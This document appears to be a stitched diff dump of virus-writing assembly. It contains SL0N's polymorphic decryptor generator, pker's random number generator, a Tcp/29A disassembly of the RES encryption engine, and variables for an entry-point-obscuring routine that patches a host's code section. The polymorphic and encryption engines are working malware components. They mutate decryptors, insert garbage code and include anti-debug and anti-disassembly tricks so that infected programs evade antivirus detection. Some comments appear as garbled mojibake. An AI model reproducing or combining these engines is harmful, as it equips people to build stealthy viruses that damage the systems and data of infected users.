;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции mix_addr
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;========================================================================================================
;вспомогательные переменные (находятся в стэке)
;========================================================================================================
imNTh equ dword ptr [ebp-04] ;указатель на IMAGE_NT_HEADERS
old_ep equ dword ptr [ebp-08] ;старая точка входа
base equ dword ptr [ebp-12] ;ImageBase
new_ep equ dword ptr [ebp-16] ;новая точка входа (в конец последней секции)
start_addr equ dword ptr [ebp-20] ;физический адрес точки входа (+ база мэппинга)
codesec equ dword ptr [ebp-24] ;указатель на кодовую секцию в табличке секций
size_codesec equ dword ptr [ebp-28] ;размер в кодовой секции, который реально можно использовать для записи пятен
max_codesec_addr equ dword ptr [ebp-32] ;максимальный допустимый адрес в кодовой секции, до которого можно записывать пятна
cur_codesec_addr equ dword ptr [ebp-36] ;текущий адрес в кодовой секции (используется для получения очередного адреса нового пятнышка)
num_spots equ dword ptr [ebp-40] ;кол-во реально записанных пятен в кодовую секцию
beg_rest_bytes equ dword ptr [ebp-44] ;адрес буфера, где хранится кол-во записанных пятен, размеры их, адреса, а также оригинальные байты кодовой секции
cur_rest_bytes equ dword ptr [ebp-48] ;текущий адрес в буфере (вспомогтальная переменная), куда сохраняем оригинальные байты кодовой секции etc
spot1 equ dword ptr [ebp-52] ;размер 1-ой порции мусора (этих первых порций мусора столько, сколько пятен будем записывать) (также вспомогательная переменная)
spot2 equ dword ptr [ebp-56] ;размер 2-ой порции мусора etc
tgen_struct equ dword ptr [ebp-60] ;адрес структуры TRASHGEN (для трэшгена xTG - или другого тэшгена)
xtmask1 equ dword ptr [ebp-64] ;новая маска1
xtmask2 equ dword ptr [ebp-68] ;новая маска2
restore_bytes db MAX_SPOTS*(uportion1+uportion2+7+10)+MAX_SPOTS*(4+4)+101 dup (00h);буфер, представляющий собой следующую структуру:
;num_spots db 1 ;кол-во записанных пятен в кодовой секции
;size_spot1 dd 1 ;размер очередного пятна
;addr_spot1 dd 1 ;адрес очередного пятнышка
;save_bytes1 db size_spot1 ;сохраненные оригинальные байты (вместо которых мы и записали очередное пятно)
;size_spot2 dd 1 ;etc
;addr_spot2 dd 1
;save_bytes2 db size_spot2
;...
;size_spot(num_spots) dd 1
;addr_spot(num_spots) dd 1
;save_bytes(num_spots) db size_spot(num_spots)
UEP_RESTBYTES_SIZE equ $ - restore_bytes ;размер буфера, что выше
;========================================================================================================
Binary file not shown.
@@ -0,0 +1,334 @@
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; [POLYMORPHIC GENERATOR OF SHIT V. 0.4] ;
; ;
; ######### ######## ######## ;
; ########### ########## ########## ;
; ##### ###### ###### ## ###### ## ;
; ##### ##### ##### ##### ;
; ##### ##### ##### ######## ;
; ########### ##### ###### ######## ;
; ######### ##### ###### ##### ;
; ##### ##### ### ##### ;
; ##### ########### ########### ;
; ##### ##### ### ######### ;
; ;
; FOR MS WINDOWS ;
; ;
; BY SL0N ;
;------------------------------------------------------------------------------;
; MANUAL: ;
; BUFFER FOR ENCRYPTED CODE + DECRYPTORS -> EDI ;
; START OF CODE -> EAX ;
; SIZE OF CODE -> ECX ;
; ;
; CALL MORPH ;
; ;
; SIZE OF ENCRYPTED CODE + DECRYPTORS -> ECX ;
; BUFFER WITH ENCRYPTED CODE + DECRYPTORS -> EDI ;
;------------------------------------------------------------------------------;
; (+) DO NOT USE WIN API ;
; (+) EASY TO USE ;
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ;
; (+) USE DELTA OFFSET ;
; (+) USE X87 INSTRUCTIONS ;
; (+) IT CREATES VARIABLE DECRYPTOR SIZE ;
; (+) RANDOMLY CHANGE REGISTERS IN INSTRUCTIONS ;
; (+) RANDOM 32 BIT ENCRYPTION ALGORITHM (ADD/SUB/XOR) ;
; (+) RANDOM NUMBER OF DECRYPTORS ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
morph:
push esi ebp ; Ñîõðàíÿåì ðåãèñòðû
call delta0 ;
delta0: ; Âû÷èñëÿåì
pop ebp ; äåëüòà ñìåùåíèå
sub ebp,offset delta0 ;
push eax ; Êëàä¸ì â ñòýê eax
decr_number:
mov eax,40 ; Ãåíåðèðóåì ñëó÷àéíîå ÷èñëî
call brandom32 ; â äèàïàçîíå 0..30
test eax,eax ; Åñëè ÷èñëî ðàâíî 0, òî îíî
jz decr_number ; íàì íå ïîäõîäèò
mov ebx,eax ; Ïîìåùàåì ÷èñëî â ebx
pop eax ; Âîññòàíàâëèâàåì eax
multi_decr:
mov edx,edi
call polym ;
mov eax,edx ;
add edi,ecx ; Ãåíåðèðóåì ñòîëüêî
dec ebx ; äåêðèïòîðîâ, ñêîëüêî
test ebx,ebx ; çàïèñàíî â ðåãèñòðå ebx
jnz multi_decr ;
sub edi,ecx ; ðåçóëüòàòàìè
pop ebp esi ; Âîññòàíàâëèâàåì ðåãèñòðû
ret ; Âîçâðàò èç ïîäïðîãðàììû
;------------------------------------------------------------------------------;
polym:
push ebp edi esi ebx ; Ñîõðàíÿåì ðåãèñòðû
mov [ebp+sz_code],ecx ; Çàíîñèì ïàðàìåòðû ñòàðòà
mov [ebp+begin_code],eax ; èç ðåãèñòðîâ â ïåðåìåííûå
mov [ebp+buff],edx ;
mov edi,edx ;
;------------------------------------------------------------------------------;
call len_gen ; Âûçûâàåì ãåíåðàòîð äëèí
mov [ebp+sz_decr],40
add [ebp+sz_decr],ecx ; äîáàâëÿåì äëèíû ìóñîðà ê
; ðàçìåðó äåêðèïòîðà
call reg_mutate ; Âûáèðàåì ðåãèñòðû, êîòîðûå
; áóäóò èñïîëüçîâàòüñÿ â
; äåêðèïòîðå
mov ecx,[ebp+len+0] ; È ãåíåðèðóåì ïåðâóþ ïàðòèþ
call garbage ; ìóñîðíûõ èíñòðóêöèé
mov al,0e8h ; Ãåíåðèðóåì ñëåäóþùóþ
stosb ; èíñòðóêöèþ: call $+5
xor eax,eax ;
stosd ;
mov ecx,[ebp+len+4] ; Ãåíåðèðóåì íîâóþ ïàðòèþ
call garbage ; ìóñîðíûõ èíñòðóêöèé
mov al,58h ; Ãåíåðèðóåì ñëåäóþùóþ
add al,bh ; èíñòðóêöèþ äåêðèïòîðà:
stosb ; pop reg1
mov ecx,[ebp+len+8] ; Ãåíåðèðóåì ìóñîðíûå
call garbage ; èíñòðóêöèè
; Ãåíåðèðóåì ñëåäóþùóþ
mov al,81h ; èíñòðóêöèþ äåêðèïòîðà:
stosb ; add reg1,sz_decr-len[0]
mov al,0c0h ;
add al,bh ; Òàêèì îáðàçîì reg1 áóäåò
stosb ; óêàçûâàòü íà íà÷àëî
; çàêðèïòîâàííîãî êîäà
mov eax,[ebp+sz_decr] ;
sub eax,[ebp+len] ;
sub eax,9 ;
stosd ;
mov ecx,[ebp+len+12] ; Ãåíåðèðóåì ìóñîðíûå
call garbage ; èíñòðóêöèè
mov al,8bh ; Ãåíåðèðóåì èíñòðóêöèþ:
stosb ; mov reg2,reg1
;
mov al,bl ; Ó íàñ reg2 ïîçæå áóäåò
shl al,3 ; èñïîëüçîâàòüñÿ äëÿ
add al,0c0h ; ñðàâíåíèÿ
add al,bh ;
stosb
mov ecx,[ebp+len+16] ; Ãåíåðèðóåì ìóñîðíûå
call garbage ; èíñòðóêöèè
mov al,81h ;
stosb ;
mov al,0c0h ;
add al,bl ;
stosb ;
; Ãåíåðèðóåì èíñòðóêöèþ:
mov eax,[ebp+sz_code] ; add reg2,size_code
inc eax
stosd ;
mov ecx,[ebp+len+20] ; Ãåíåðèðóåì ìóñîðíûå
call garbage ; èíñòðóêöèè
mov al,81h ;
stosb ; Ãåíåðèðóåì ñëåäóþùóþ
mov al,0c0h ; èíñòðóêöèþ: add reg1,4
add al,bh ;
stosb ;
;
mov eax,4 ;
stosd ;
mov ecx,[ebp+len+24] ; Ãåíåðèðóåì ñëåäóþùóþ
call garbage ; ïàðòèþ ìóñîðà
call random32 ;
mov [ebp+key2],eax ; Ñîõðàíÿåì êëþ÷ êðèïòîâàíèÿ
lea eax,[ebp+next] ; Êëàä¸ì â ñòýê ñìåùåíèå
push eax ; íà ìåòêó next
; Âûáèðàåì îäèí èç òð¸õ
; âàðèàíòîâ êðèïòîâàíèÿ
mov eax,3 ; ñëó÷àéíûì îáðàçîì.
call brandom32 ;
; Àëãîðèòìû êðèïòîâàíèÿ è
cmp al,1 ; äåêðèïòîâàíèÿ:
je enc_add32 ;
; 1) XOR
cmp al,2 ; 2) ADD
je enc_sub32 ; 3) SUB
enc_xor32:
mov al,81h ;
stosb ; Ãåíåðèðóåì èíñòðóêöèþ:
mov al,30h ; xor [reg1],key_decrypt
add al,bh ;
stosb ;
mov eax,[ebp+key2]
stosd
push edi ;
lea edi,[ebp+crypt_n] ;
mov al,33h ; À â ñàìîì äâèæêå ìåíÿåòñÿ
stosb ; àëãîðèòì êðèïòîâàíèÿ
pop edi ;
ret ; Ïåðåõîä íà ìåòêó next
enc_add32:
mov al,81h ;
stosb ; Ãåíåðèðóåì èíñòðóêöèþ:
mov al,bh ; add [reg1],key_decrypt
stosb ;
mov eax,[ebp+key2]
stosd
push edi ;
lea edi,[ebp+crypt_n] ;
mov al,2bh ; À â ñàìîì äâèæêå ìåíÿåòñÿ
stosb ; àëãîðèòì êðèïòîâàíèÿ
pop edi ;
ret ; Ïåðåõîä íà ìåòêó next
enc_sub32:
mov al,81h ;
stosb ; Ãåíåðèðóåì ñëåäóþùóþ
mov al,028h ; èíñòðóêöèþ:
add al,bh ; sub [reg1],key_decrypt
stosb ;
mov eax,[ebp+key2]
stosd
push edi ;
lea edi,[ebp+crypt_n] ; À â ñàìîì äâèæêå ìåíÿåì
mov al,03h ; àëãîðèòì êðèïòîâàíèÿ
stosb ;
pop edi ;
ret ; Ïåðåõîä íà ìåòêó next
;------------------------------------------------------------------------------;
next:
mov ecx,[ebp+len+28] ; Ãåíåðèðóåì î÷åðåäíóþ
call garbage ; ïàðòèþ ìóñîðà
mov al,3bh ;
stosb ;
;
xor eax,eax ;
mov al,bh ; Ãåíåðèðóåì èíñòðóêöèþ:
shl al,3 ; cmp reg1,reg2
add al,0c0h ;
add al,bl ;
stosb ;
;------------------------------------------------------------------------------;
mov ax,820fh ;
stosw ;
xor eax,eax ;
dec eax ; Ãåíåðèðóåì èíñòðóêöèþ:
mov ecx,7*4 ; jb decrypt
sub eax,[ebp+len+ecx] ;
mov ecx,6*4 ;
sub eax,[ebp+len+ecx] ;
sub eax,19 ;
stosd ;
mov ecx,[ebp+len+32] ; Ãåíåðèðóåì ìóñîðíûå
call garbage ; èíñòðóêöèè
;------------------------------------------------------------------------------;
mov ecx,[ebp+sz_code] ;
mov esi,[ebp+begin_code] ;
add ecx,esi ;
encrypt: ;
lodsd ; Êðèïòóåì âåñü êîä êëþ÷îì
crypt_n: ; è íóæíûì àëãîðèòìîì
xor eax,[ebp+key2] ;
stosd ;
cmp esi,ecx ;
jl encrypt ;
mov edx,[ebp+buff] ; Çàïîëíÿåì ðåãèñòðû
mov ecx,[ebp+sz_code] ; ðåçóëüòàòàìè
add ecx,[ebp+sz_decr] ;
pop ebx esi edi ebp ; Âîñòàíàâëèâàåì ðåãèñòðû
ret ; È âûõîäèì èç ïðîöåäóðû
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; GARBAGE LENGTH GENERATOR SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; LENGTH OF ALL GARBAGE -> ECX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_gen: ; Ïîäïðîãðàììà ãåíåðàöèè
; äëèí äëÿ ìóñîðíûõ
; èíñòðóêöèé
xor ecx,ecx ; Îáíóëÿåì esi è ecx
xor esi,esi ;
loop1: ;
mov eax,100 ;
call brandom32 ; Íà÷èíàåì ãåíåðàöèþ
; äëèí, êàæäîå ÷èñëî
mov [ebp+len+esi],eax ; äèàïàçîíå 0..100
add ecx,eax ;
add esi,4 ;
cmp esi,36 ;
jne loop1 ;
ret ; Âîçâðàò èç ïîäïðîãðàììû
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; REGISTER MUTATOR SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; USES REGISTER N1 -> BH (0..7) ;
; USES REGISTER N2 -> BL (0..7) ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reg_mutate:
; Ïîäïðîãðàììà ãåíåðàöèè
generate1: ; ðåãèñòðîâ äëÿ äåêðèïòîðà
mov eax,8 ; Ïîëó÷àåì ñëó÷àéíîå ÷èñëî
call brandom32 ; â äèàïàçîíå 0..7
cmp al,00000100b ; Èñïîëüçóåì âñå ðåãèñòðû
je generate1 ; êðîìå esp
cmp al,00000101b ; Èñïîëüçóåì âñå ðåãèñòðû
je generate1 ; êðîìå ebp
mov bh,al ; Ñîõðàíÿåì ïîëó÷åííûé
; ðåãèñòð
generate2:
mov eax,8 ; Ïîëó÷àåì ñëó÷àéíîå ÷èñëî
call brandom32 ; â äèàïàçîíå 0..7
cmp al,bh ; Íå äîëæíî áûòü äâóõ
je generate2 ; èäåíòè÷íûõ ðåãèñòðîâ
cmp al,00000100b ; Èñïîëüçóåì âñå ðåãèñòðû
je generate2 ; êðîìå esp
mov bl,al ; Ñîõðàíÿåì ïîëó÷åííûé
; ðåãèñòð
ret ; Âîçâðàò èç ïîäïðîãðàììû
;------------------------------------------------------------------------------;
sz_decr dd 0 ;
begin_code dd 0 ; Äàííûå íåîáõîäèìûå äëÿ
st_code dd 0 ; êîððåêòíîé ðàáîòû
sz_code dd 0 ; ãåíåðàòîðà
buff dd 0 ;
key2 dd 0 ;
;------------------------------------------------------------------------------;
len dd 0,0,0,0,0,0,0,0,0 ; Ìåñòî äëÿ õðàíåíèÿ äëèí
;------------------------------------------------------------------------------;
@@ -0,0 +1,222 @@
;
; pker's Random Number Generator (PKRNG)
; ======================================
;
;
; Description
; -----------
;
; PKRNG is a random number generator. It can be used for MASM, TASM, FASM, etc. It
; containz four procedurez: __randomize, __random and __m_seq_gen and
; __random_rdtsc. __randomize procedure is for generating initial seed in the seed
; field, which specified as parameter. The __m_seq_gen procedure is used to
; generate m-sequence, which used by __random, which generate random numberz
; finally. __random_rdtsc is the simplest one, it just get the RDTSC and divide it
; by the range given as parameter.
;
;
; How to use PKRNG
; ----------------
;
; When using MASM or TASM to initialize seed field:
;
; mov edi,offset dwSeed
; call __randomize
;
; The get a random number in eax:
;
; mov eax,offset dwSeed
; mov ecx,32 ; get a random number between 0~31
; call __random
;
;
; Same thing happened with FASM:
;
; mov edi,dwSeed
; call __randomize
;
; mov eax,dwSeed
; mov ecx,32 ; get a random number between 0~31
; call __random
;
;
; Copyright
; ---------
;
; (c) 2004. No rightz reserved. Use without permission :P.
;
;
; __randomize procedure
; =====================
;
;
; Description
; -----------
;
; This function use RDTSC instruction to generator a random number in order to
; initialize the seed field.
;
;
; Parameterz and Return Values
; ----------------------------
;
; input:
; edi --- points to the seed field
; output:
; nothing
;
__randomize: pushad
db 0fh,31h ; RDTSC
add eax,edx ; ...
stosd ; fill in the seed buffer
popad
ret
;
; __random procedure
; ==================
;
;
; Description
; -----------
;
; This function generates a random number and rewrite the seed field. The function
; first get a 32 bit m-sequence, which then multiply with the previous seed, with
; __m_seq_gen procedure. And then, it calls __m_seq_gen again to generate another
; m-sequence to make noise by adding on the DWORD calculated before. Also, this
; result is the new seed, and will be write to the seed field which pointed by EAX
; as argument. Finally, the seed is divided by ECX, and return the modulus, which
; is the expected random number.
;
;
; Parameterz and Return Values
; ----------------------------
;
; input:
; eax --- pointz to the random seed field
; edx --- the range of the random number to be generated
; output:
; eax --- random number as result
;
__random: pushad
xchg ecx,edx
mov edi,eax
mov esi,eax
lodsd ; get the previous seed value
mov ebx,eax
mov ebp,ebx
call __m_seq_gen ; generate a m-sequence
imul ebp ; multiply with the previous seed
xchg ebx,eax
call __m_seq_gen ; generate anothe m-sequence
add eax,ebx ; to make noise...
add eax,92151fech ; and some noisez...
stosd ; write new seed value
xor edx,edx
div ecx ; calculate the random number
mov [esp+28],edx ; according to a specified range
popad
ret
;
; __m_seq_gen procedure
; =====================
;
;
; Description
; -----------
;
; This function use a PN (Pseudo Noise) generator to generate m-sequencez. The
; configuration of the generator shows below (figure 1):
;
; (module 2 addition)
; ___
; / \
; +---------- | + | <------------------------------+
; | \___/ |
; | A |
; | +-----+ | +-----+ +-----+ |
; +--> | D31 | -+-> | D30 | ---> ... ---> | D01 | -+-> output
; +-----+ +-----+ +-----+
; A A A
; | | |
; CLK ---------------+------------+---------------------+
;
; figure 1. m-Sequence Generator
;
;
; Parameterz and Return Values
; ----------------------------
;
; input:
; eax --- a non-zero random number, which could be generated by RDTSC or
; GetTickCount or such functionz
; output:
; eax --- the result of the function
;
__m_seq_gen: pushad
xor esi,esi ; use to save the 32bit m-sequence
push 32 ; loop 32 times (but it's not a
pop ecx ; cycle in the m-sequence generator)
msg_next_bit: mov ebx,eax
mov ebp,ebx
xor edx,edx
inc edx
and ebp,edx ; get the lowest bit
dec cl
shl ebp,cl
or esi,ebp ; output...
inc cl
and ebx,80000001h ; \
ror bx,1 ; \
mov edx,ebx ; \
ror ebx,16 ; module 2 addition
xor bx,dx ; /
rcl ebx,17 ; /
rcr eax,1 ; /
loop msg_next_bit
mov [esp+28],esi
popad
ret
;
; __random_rdtsc procedure
; ========================
;
;
; Description
; -----------
;
; This is the simplest RNG in the packet. Well, nothing to explain :P
;
;
; Parameterz and Return Value
; ---------------------------
;
; input:
; ecx --- the range of the random number to be generated
;
; output:
; eax --- random number as result
;
__random_rdtsc: pushad
db 0fh,31h
add eax,edx
xor edx,edx
or ecx,ecx
jz rnd_rdt_no_range
div ecx
xchg eax,edx
rnd_rdt_no_range:
mov [esp+28],eax
popad
ret
File diff suppressed because it is too large Load Diff
@@ -0,0 +1,458 @@
; - -[RES.ASM]- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - >8
;
; Random Encryption Synthezator (RES), by SSR
; Disasm by Tcp/29A (tcp@cryogen.com)
;
;
; Entry:
; DS:DX = code
; BX = runtime offset
; CX = number of bytes to encrypt
; Return:
; DS:DX = encryptor+code
; CX = size encryptor+code
.386p
RES segment use16
assume cs:RES, ds:RES, es:RES, ss:RES
org 0
RES_SIZE_DEC equ 300h ; But it only needs 169h
res_engine:
start:
call res_delta
res_delta:
pop si
sub si,3 ; Get delta-offset
pop ax
push cs
push ax
push es
mov ax,es
sub ax,10h
mov es,ax
mov di,100h
push cx
mov cx,offset(end_res)
nop
push ds
push cs
pop ds
cld
rep movsb ; Copy RES code to working area
pop ds
pop cx
mov ax,offset(res_start+100h)
push es
push ax
retf ; jmp res_start
res_start:
pop es
mov si,100h
mov ax,es
add ax,(end_res-start+15)/16+1
mov es,ax ; Calculate base segment for decryptor
mov cs:[si+runtime_ofs],bx
mov cs:[si+code_length],cx
push cx
mov cx,RES_SIZE_DEC
xor di,di
mov al,90h ; NOP
cld
rep stosb ; Fill with NOPs
call init_masks
mov cx,8 ; 8 instructions per decryptor
xor di,di
add di,si
l_select_instructions:
push cx
call RES_get_random
mov ah,0
push cx
mov cl,5
shr al,cl ; AX in [0..7]
shl ax,1
shl ax,1 ; AX:=AX*4 (4 bytes per instruction)
pop cx
push di
push si
add di,offset(buffer_decryptor)
add si,offset(decryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select an instruction for decryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
push di
push si
add di,offset(buffer_encryptor)
add si,offset(encryptor_table)
add si,ax
push ax
mov ax,cs:[si] ; Select the instruction for encryptor
mov cs:[di],ax ; and store it
mov ax,cs:[si+2]
mov cs:[di+2],ax
pop ax
pop si
pop di
add di,4
pop cx
loop l_select_instructions
call reverse_decryptor_table
call make_encryptor
pop cx
push cx
mov bp,dx
mov di,RES_SIZE_DEC
mov cs:[si+code_CRC],0
l_encrypt_code:
mov al,ds:[bp]
mov es:[di],al
mov ah,0
add cs:[si+code_CRC],ax ; Make code CRC
encryptor db 8*4 dup(90h) ; Buffer for encryptor
inc di
inc bp
loop l_encrypt_code
push ds
push cs
pop ds
xor di,di
push si
add si,offset(decryptor_code)
mov cx,decrypted_code-decryptor_code
nop
cld
rep movsb ; Copy decryptor to buffer
pop si
pop ds
push es
pop ds
xor dx,dx ; DS:DX = Address of decryptor+code
pop cx
add cx,RES_SIZE_DEC ; Decryptor+encrypted code
retf
db 0
db 'RandomEncryptionSynthezator',0
db 'ü S.S.R. 1996-97',0
init_masks:
push si
mov cx,3 ; Only first 3 instructions need a mask
l_next_mask:
call RES_get_random
mov byte ptr cs:[si+decryptor_table+3],al ; Store mask
mov byte ptr cs:[si+encryptor_table+3],al
add si,4 ; Next inst.
loop l_next_mask
pop si
ret
RES_get_random:
pushf
in al,40h ; Get random number
ror al,1
xor al,53h
popf
ret
make_encryptor:
push es
push ds
push cs
pop es
push cs
pop ds
push si
in al,40h ; Get random number
mov cx,8
mov di,offset(encryptor)
add di,si
add si,offset(buffer_encryptor)
l_make_encryptor:
rcr al,1 ; Add instruction to encryptor?
jc add_instruction ; Yes? then jmp
nop
nop
add si,4
loop_make_encryptor:
loop l_make_encryptor
jmp encryptor_done
nop
add_instruction:
cld
push cx
mov cx,4
rep movsb ; Store instruction
pop cx
jmp loop_make_encryptor
encryptor_done:
pop si
pop ds
pop es
ret
reverse_decryptor_table:
push ax
push bp
push di
push cx
push bx
mov cx,8/2
mov di,offset(buffer_decryptor)
add di,si
mov bp,offset(end_buffer_dec)-4 ; Point to last inst.
add bp,si
l_reverse_table:
mov ax,cs:[di] ; Xchg instructions
mov bx,cs:[bp]
mov cs:[di],bx
mov cs:[bp],ax
mov ax,cs:[di+2]
mov bx,cs:[bp+2]
mov cs:[di+2],bx
mov cs:[bp+2],ax
sub bp,4 ; xchg next instruction
add di,4
loop l_reverse_table
pop bx
pop cx
pop di
pop bp
pop ax
ret
db 4 ; Unused !!
decryptor_code:
runtime_ofs equ word ptr $+1
mov bp,0 ; mov bp,runtime_ofs
push 1100h+(90h+3Ch-20h)
sub bp,offset(decryptor_code)
mov di,offset(decryptor)
add di,bp
pop ax ; AX:=1100h+(90h+3Ch-20h)
inc cs:[bp+n_decryptors] ; Inc # of tested decryptors
mov cs:[bp+decryptor_ok],0 ; Decryptor not found
mov cs:[bp+decrypting],0 ; Not decrypting
mov cx,20h
push es
push ds
add ax,cx
push cs
pop es
push cs
pop ds
cld
dec cx
sub al,3Ch ; AL:=90h (NOP)
rep stosb
add al,3Ch ; AL:=0CCh (int 3)
stosb
cmp cs:[bp+n_decryptors],150 ; < 150 decryptors tested?
jb create_random_decryptor ; Yes? then jmp
nop
nop
mov ax,cs:[bp+n_decryptors] ; Don't use a random number.
; n_decryptors will be increased, so it'll
; find the correct decryptor.
jmp create_decryptor
nop
db 66h ; Unused!? (antidebug??)
create_random_decryptor:
in al,40h ; Get random number
create_decryptor:
mov cs:[bp+decryptor_id],al ; Why? Never use it!!
mov cx,8
mov si,offset(buffer_decryptor)
add si,bp
mov di,offset(decryptor)
add di,bp
l_make_random_decryptor:
rcr al,1 ; Add instruction to decryptor?
jc add_inst_dec ; Yes? then jmp
nop
nop
add si,4
next_dec_instruction:
loop l_make_random_decryptor
jmp done_random_decryptor
nop
add_inst_dec:
cld
push cx
mov cx,4
rep movsb ; Add instruction
pop cx
jmp next_dec_instruction
done_random_decryptor:
mov di,RES_SIZE_DEC
add di,cs:[bp+runtime_ofs]
code_length equ word ptr $+1
mov cx,0 ; mov cx,code_length
mov bx,cs:[bp+code_CRC]
l_random_decryptor:
mov dl,cs:[di]
decryptor db 8*4 dup(90h)
mov al,dl
mov ah,0
sub bx,ax ; Calculate CRC
cmp cs:[bp+decrypting],1 ; Decrypting?
je decrypt_byte ; Yes? then jmp
nop
nop
loop_decryptor:
inc di
loop l_random_decryptor
pop ds
pop es
cmp bx,0 ; CRC OK?
jnz decryptor_code ; No? then jmp
jmp found_decryptor ; Yes? then jmp
nop
buffer_decryptor db 8*4 dup(90h)
end_buffer_dec:
code_CRC dw 0
decryptor_ok db 0
decrypting db 0
db 0Bh ; Unused!
db 0Bh ; Unused!
db 0Bh ; Unused!
decryptor_id db 0
n_decryptors dw 0
decrypt_byte:
mov cs:[di],dl ; Store decrypted byte
jmp loop_decryptor
found_decryptor:
cmp cs:[bp+decryptor_ok],1 ; Code decrypted?
je code_decrypted ; Yes? then jmp
nop
nop
mov cs:[bp+decrypting],1
mov cs:[bp+decryptor_ok],1
push es
push ds
jmp done_random_decryptor ; Decrypt code
code_decrypted:
jmp anti_disasm1
nop
db 69h ; Antidebug
anti_disasm1:
cli
push 3545h
jmp anti_disasm2
nop
db 0EAh ; Antidebug
anti_disasm2:
cli
inc sp
mov ax,cs:[bp]
xor ax,bx
cld
scasb
inc sp
mov ax,4202h
sub sp,2
pop ax
cmp ax,3545h ; Is it being traced?
jne decrypted_code ; Yes? then jmp
; BUG! Should jump when not traced
nop
nop
xor ax,3445h
mov es,ax
inc byte ptr cs:[0Dh]
and cx,0Fh
rep scasb
xor ax,cs:[si]
pushf
pop ax ; Get flags
and ah,0FEh ; Clear trace flag
push ax
xchg bx,cx
les bx,ds:[2Bh]
popf ; Trace flag off
xor eax,eax
mov dr7,eax ; Clear all breakpoints
dec byte ptr cs:[0Dh]
call skip_reset
db 0EAh ; jmp far ptr 0F000h:0FFF0h (reset)
dw 0FFF0h ; but never reach here because in 'skip_reset'
dw 0F000h ; it does a pop of the return address
skip_reset:
pop ax
decrypted_code: ; End of decryptor code
encryptor_table:
xor byte ptr es:[di],0
add byte ptr es:[di],0
sub byte ptr es:[di],0
nop
ror byte ptr es:[di],1
nop
rol byte ptr es:[di],1
nop
neg byte ptr es:[di]
nop
not byte ptr es:[di]
nop
neg byte ptr es:[di]
decryptor_table:
nop
xor dl,0
nop
sub dl,0
nop
add dl,0
nop
nop
rol dl,1
nop
nop
ror dl,1
nop
nop
neg dl
nop
nop
not dl
nop
nop
neg dl
buffer_encryptor db 8*4 dup(90h)
end_res:
RES ends
public res_engine
end
; End of RES disasm
; (c) 1997, Tcp/29A (tcp@cryogen.com)
@@ -0,0 +1,88 @@
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; ;
; xxxxxxxxxxx xxxxxxxx xxxx xxxx xxxxxxxxxx xxxxxxxx xxxxxxxxx ;
; xxxxxxxxxxxx xxxx xxxx xxxx xxxx xxxxxxxxxxx xxxxxxxxxx xxxxxxxxxxx ;
; xxxx xxxx xxxx xxxx xxxxx xxxx xxxx xxxx xxx xxxx xxx xxxx ;
; xxxx xxxx xxxx xxxx xxxxxx xxxx xxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxxxxx xxxx xxxx xxxxxxxx xxxxxxxxxx ;
; xxxxxxxxxxx xxxx xx xxxx xxxx xxxxxxx xxxx xxxxxxxx xxxxxxxxxx ;
; xxxxxxxxxxxx xxxx xx xxxx xxxx xxxxxx xxxx xxxxx xxxx xxxx ;
; xxxx xxxx xxxx xxxx xxxx xxxxx xxxx xxxx xxxx xxxx xxx ;
; xxxx xxxx xxxx xxxx xxxx xxxx xxxxxxxxxxx xxxxxxxxxx xxxxxxxxxxx ;
; xxxx xxxx xxxx xxxx xxxx xxxx xxxxxxxxxx xxxxxxxxx xxxxxxxxxxx ;
; ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; RAndom Numbers Generator ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; :)! ;
; ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; ;
; функция RANG32 ;
; ГЕНЕРАТОР СЛУЧАЙНЫХ ЧИСЕЛ (ГСЧ) ;
; ;
; ;
;ВХОД: ;
;1 параметр - число (N). Будет произведен поиск случайного числа в диапазоне [0..N-1] ;
;--------------------------------------------------------------------------------------------------------;
;ВЫХОД: ;
